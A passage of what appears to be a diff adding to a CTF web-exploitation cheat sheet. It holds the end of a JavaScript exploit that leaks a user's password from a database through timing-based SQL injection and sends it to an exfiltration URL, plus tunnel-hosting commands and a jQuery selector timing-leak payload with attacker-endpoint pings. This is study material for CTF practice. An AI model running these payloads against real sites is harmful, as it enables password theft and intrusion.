+ BINARY(SUBSTRING((select password from db.users
486
+ where username = 'target'),__POS__,1))`;
487
+
488
+ let flag = '';
489
+ for (let pos = 1; ; pos++) {
490
+ for (let c of charset) {
491
+ let readQuery = readQueryTemp.replace('__POS__', pos);
492
+ let sql = sqlTemp.replace('__LEFT__', readQuery)
493
+ .replace('__RIGHT__', `'${c}'`);
494
+ if (await xsLeaks(sql)) {
495
+ flag += c;
496
+ new Image().src = exfilURL + '?d=' + encodeURIComponent(flag);
497
+ break;
498
+ }
499
+ }
500
+ }
501
+ ```
502
+
503
+ ### Step 4 — Host exploit and tunnel
504
+
505
+ ```bash
506
+ # Cloudflare Tunnel (recommended — no interstitial pages unlike ngrok)
507
+ cloudflared tunnel --url http://localhost:8888
508
+ python3 -m http.server 8888
509
+ ```
510
+
511
+ **Key insight:** GraphQL GET requests bypass CORS preflight entirely — `new Image().src` triggers a simple GET that doesn't need `OPTIONS`. Combined with timing-based SQLi (`SLEEP()`), image `onerror` timing becomes a boolean oracle. The bot's localhost access turns a localhost-only SQLi into a remotely exploitable vulnerability.
512
+
513
+ **Detection:** Chat/message features with HTML injection + admin bot + GraphQL endpoint with SQL injection + localhost-only restrictions.
514
+
515
+ ---
516
+
517
+ ## jQuery `$(location.hash)` CSS Selector Timing Leak (hxp 2018)
518
+
519
+ **Pattern:** Target page calls `$(location.hash).addClass(...)`. Passing a URL fragment that parses as a CSS selector causes jQuery to invoke Sizzle, which walks the DOM matching the selector. Stacking deeply nested `:has()` pseudo-classes blows up selector evaluation time predictably (~2 s) only when the selector *matches*, creating a Boolean timing oracle on any attribute the bot's DOM exposes (for example `body[data-user-id^='1']`).
520
+
521
+ ```text
522
+ http://127.0.0.1/?id=...#*:has(*:has(*:has(*:has(*:has(body[data-user-id^='1'])))))
523
+ ```
524
+
525
+ Exfiltrate by firing two `new Image().src` requests to attacker-controlled endpoints (`/firstping`, `/secondping`) around the `addClass` call and measuring the delta: ~20 ms = mismatch, ~2 s = match.
526
+
527
+ **Key insight:** jQuery's `$` with a string argument treats anything beginning with `<` as HTML and everything else as a selector. Any sink that lets an attacker put arbitrary text into `$()` becomes both an XSS and a selector-timing oracle.
528
+
529
+ **References:** hxp CTF 2018 — µblog, writeup 12554